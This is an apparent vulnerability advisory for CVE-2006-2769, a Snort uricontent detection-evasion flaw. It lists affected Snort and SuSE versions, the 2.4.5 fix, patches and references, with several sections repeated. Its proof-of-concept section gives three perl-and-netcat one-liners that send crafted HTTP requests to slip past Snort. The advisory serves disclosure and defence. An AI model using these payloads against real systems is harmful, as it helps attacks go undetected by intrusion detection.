Snort URIContent Rules Detection Evasion Vulnerability
BID:18200
CVE-2006-2769 |Info
Snort URIContent Rules Detection Evasion Vulnerability
| Bugtraq ID: | 18200 |
| Class: | Design Error |
| CVE: |
CVE-2006-2769 |
| Remote: | Yes |
| Local: | No |
| Published: | May 31 2006 12:00AM |
| Updated: | Jun 20 2007 03:59AM |
| Credit: | Blake Hartstein of the Demarc Threat Research Team is credited with the discovery of this vulnerability. |
| Vulnerable: |
SuSE SUSE Linux Enterprise Server 8 SuSE Linux Openexchange Server SuSE Linux Enterprise Server 9 SuSE Linux Desktop 1.0 Snort Project Snort 2.4.4 Snort Project Snort 2.4.3 Snort Project Snort 2.4.2 Snort Project Snort 2.4.1 Snort Project Snort 2.4 .0 S.u.S.E. UnitedLinux 1.0 S.u.S.E. SuSE Linux School Server for i386 S.u.S.E. SUSE LINUX Retail Solution 8.0 S.u.S.E. SuSE Linux Openexchange Server 4.0 S.u.S.E. SuSE Linux Open-Xchange 4.1 S.u.S.E. SUSE CORE 9 for x86 S.u.S.E. Open-Enterprise-Server 9.0 S.u.S.E. Open-Enterprise-Server 1 S.u.S.E. Office Server S.u.S.E. Novell Linux Desktop 9.0 S.u.S.E. Novell Linux Desktop 1.0 S.u.S.E. Linux Professional 10.0 OSS S.u.S.E. Linux Professional 10.0 S.u.S.E. Linux Professional 9.3 x86_64 S.u.S.E. Linux Professional 9.3 S.u.S.E. Linux Professional 9.2 x86_64 S.u.S.E. Linux Professional 9.2 S.u.S.E. Linux Professional 9.1 x86_64 S.u.S.E. Linux Professional 9.1 S.u.S.E. Linux Professional 10.1 S.u.S.E. Linux Personal 10.0 OSS S.u.S.E. Linux Personal 9.3 x86_64 S.u.S.E. Linux Personal 9.3 S.u.S.E. Linux Personal 9.2 x86_64 S.u.S.E. Linux Personal 9.2 S.u.S.E. Linux Personal 9.1 x86_64 S.u.S.E. Linux Personal 9.1 S.u.S.E. Linux Personal 10.1 S.u.S.E. Linux Office Server S.u.S.E. Linux Enterprise Server for S/390 9.0 S.u.S.E. Linux Enterprise Server for S/390 S.u.S.E. Linux Database Server 0 S.u.S.E. Linux Connectivity Server |
| Not Vulnerable: |
Snort Project Snort 2.4.5 |
Discussion
Snort URIContent Rules Detection Evasion Vulnerability
Snort is reportedly prone to a vulnerability that may allow malicious packets to bypass detection.
A successful attack can allow attackers to bypass intrusion detection and to carry out attacks against computers protected by Snort.
This vulnerability affects Snort 2.4.4. Other versions may be vulnerable as well.
Snort is reportedly prone to a vulnerability that may allow malicious packets to bypass detection.
A successful attack can allow attackers to bypass intrusion detection and to carry out attacks against computers protected by Snort.
This vulnerability affects Snort 2.4.4. Other versions may be vulnerable as well.
Exploit / POC
Snort URIContent Rules Detection Evasion Vulnerability
Attackers can use a browser to exploit this issue.
Proofs of concept are available:
perl -e'print "GET /www.example.com?paramter=|backdoor\r http/1.0\r\n\r\n"'|nc vulnerable.server 80
perl -e 'print "GET \x90\x90\x0d http/1.0\r\n\r\n"'|nc 192.168.1.3 80
perl -e 'print "GET \x0d/index.php\x90\x90 HTTP/1.0\n\r\n"'|nc 192.168.1.3 80
Attackers can use a browser to exploit this issue.
Proofs of concept are available:
perl -e'print "GET /www.example.com?paramter=|backdoor\r http/1.0\r\n\r\n"'|nc vulnerable.server 80
perl -e 'print "GET \x90\x90\x0d http/1.0\r\n\r\n"'|nc 192.168.1.3 80
perl -e 'print "GET \x0d/index.php\x90\x90 HTTP/1.0\n\r\n"'|nc 192.168.1.3 80
Solution / Fix
Snort URIContent Rules Detection Evasion Vulnerability
Solution:
The vendor has released version 2.4.5 to address this issue.
Third-party patches and updated Snort packages are available from Demarc Threat Research Team.
Further information from Sigint Consulting suggests that the patches available from Demarc may not completely fix this issue.
Please see the referenced third-party vendor advisories for more information.
Snort Project Snort 2.4 .0
Snort Project Snort 2.4.1
Snort Project Snort 2.4.2
Snort Project Snort 2.4.3
Snort Project Snort 2.4.4
Solution:
The vendor has released version 2.4.5 to address this issue.
Third-party patches and updated Snort packages are available from Demarc Threat Research Team.
Further information from Sigint Consulting suggests that the patches available from Demarc may not completely fix this issue.
Please see the referenced third-party vendor advisories for more information.
Snort Project Snort 2.4 .0
-
Snort Project snort-2.4.5.tar.gz
http://www.snort.org/dl/current/snort-2.4.5.tar.gz
Snort Project Snort 2.4.1
-
Snort Project snort-2.4.5.tar.gz
http://www.snort.org/dl/current/snort-2.4.5.tar.gz
Snort Project Snort 2.4.2
-
Snort Project snort-2.4.5.tar.gz
http://www.snort.org/dl/current/snort-2.4.5.tar.gz
Snort Project Snort 2.4.3
-
Snort Project snort-2.4.5.tar.gz
http://www.snort.org/dl/current/snort-2.4.5.tar.gz
Snort Project Snort 2.4.4
-
Demarc snort-2.4.4-demarc-patch.diff
http://www.demarc.com/files/patch_20060531/snort-2.4.4-demarc-patch.di ff -
Demarc snort-2.4.4-demarc-patched.tar.gz
http://www.demarc.com/files/patch_20060531/snort-2.4.4-demarc-patched. tar.gz -
Snort Project snort-2.4.5.tar.gz
http://www.snort.org/dl/current/snort-2.4.5.tar.gz
References
Snort URIContent Rules Detection Evasion Vulnerability
References:
References:
- IPS Evasion with the Apache HTTP Server (H D Moore)
- Snort 2.4.5 Released (Snort Project)
- Snort Bypass Vulnerability (Demarc Threat Research Team)
- Snort Homepage (Snort Project)
- New Snort Bypass - Patch - Bypass of Patch (Sigint Consulting
- Snort HTTP Inspect Pre-Processor Uricontent Bypass ("Christian Swartzbaugh"